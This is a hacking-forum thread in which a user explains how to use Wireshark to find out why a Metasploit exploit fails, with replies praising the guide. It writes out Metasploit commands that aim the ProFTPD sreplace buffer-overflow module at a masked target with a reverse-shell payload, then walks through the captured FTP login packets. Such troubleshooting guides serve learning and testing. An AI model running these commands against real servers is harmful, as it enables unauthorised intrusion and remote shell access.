Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Debugging exploit problems with wireshark
  • chroniccommand
    Posts: 1,389
    So a big question we seem to be getting is "How do I use this exploit. It keeps giving me errors". Well I'm going to attempt to help you answer this question. This will be a short guide on what to do when your exploit fails. I'll be showing how to install wireshark on *nix(Arch Linux to be exact). I'll be using metasploit in this guide considering that's mainly what people use. This isn't limited to metasploit though.


    Alright first thing we do is install wireshark. I'm using Arch so I'll be using pacman but use whatever installer fits you.
    pacman -S wireshark-gtk

    This will install the GUI version of wireshark. To install the CLI:
    pacman -S wireshark-cli


    Now we need to set it up so you can use wireshark without being a super user.
    gpasswd -a chronic wireshark

    Just change chronic to your username. Now that we have it set up we continue.

    Now lets say the exploit I want to use is:
    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
    http://www.metasploit.com/modules/explo ... p_sreplace

    Now lets get metasploit all set up

    msf > use exploit/linux/ftp/proftp_sreplace
    msf exploit(proftp_sreplace) > set PAYLOAD generic/shell_reverse_tcp
    msf exploit(proftp_sreplace) > set LHOST 192.168.1.4
    msf exploit(proftp_sreplace) > set RHOST xx.xxx.xx.xxx
    msf exploit(proftp_sreplace) > exploit

    Now if we do this right we should get something like this(assuming an error occurred):

    msf exploit(proftp_sreplace) > exploit

    [*] Started reverse handler on 192.168.1.4:4444
    [*] Automatically detecting the target...
    [*] Exploit completed, but no session was created.
    msf exploit(proftp_sreplace) >

    So unfortunately we get an error. Now heres what we're going to do. First load up wireshark
    Now we start a capture on our card(wlan0). Now lets type exploit again. Same error. But now we can stop the capture on wireshark and see what we get. Let's look for something that has source: your RHOST and the Destination as your IP. We check out the Info and see what went down. We see something like this:

    44433 > ftp [ACK] Seq=1 Ack=1 Win=5888 Len=0 .....

    So we see that is an FTP packet sent from the server to us. Now lets keep looking. We can see some packets with this info:

    Request: USER anonymous

    Then we see something like

    Response: 331 Password required for anonymous

    	
    Request: PASS mozilla@example.com


    Response: 530 Login incorrect.

    So we can conclude this exploit requires correct credentials or anonymous login which it doesn't support. That is the source of our problem.

    If we dissect the packet a bit we can see in the

    File Transfer Protocol (FTP)

    Section that we have this:

    USER anonymous\r\n

    Which means metasploit is sending USER anonymous + a carriage return and a newline; verifying this exploit requires correct login credentials.

    --chroniccommand
  • Sh3llc0d3
    Posts: 1,910
    Nice guide, pretty specific to the one exploit but it gives a fair idea of how to use wireshark to diagnose issues.

    Good job
  • Xin
    Posts: 3,251
    Nice guide chronic :)
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    Nice guide, pretty specific to the one exploit but it gives a fair idea of how to use wireshark to diagnose issues.

    Good job



    Well I can't cover every exploit :P

    But thanks for the complement.
  • Thanks chroniccommand for making this Tut .. now i cane have a look what is the problem with the exploit that i am using with Metasploit .
    Rep added ..
  • McKittrick
    Posts: 194
    i thought i had already mentioned this concept in "seen vs unseen"
  • m0rph
    Posts: 332
    said:


    i thought i had already mentioned this concept in "seen vs unseen"


    you should be happy seeing concepts put into action :) the internet will have hackers who know what they're doing once more, all it takes is time

    chronic, nice post, I got a couple of comments towards it though:
    -add some pictures if possible, to better illustrate what to look for
    -maybe mention using an ftp filter with wireshark, so we dont see extra packets we're not concerned with

    otherwise nice job covering a simple troubleshoot
    while( !(succeed = try() ) );
  • Sh3llc0d3
    Posts: 1,910

    -maybe mention using an ftp filter with wireshark, so we dont see extra packets we're not concerned with


    Filter's save my life on a busy network.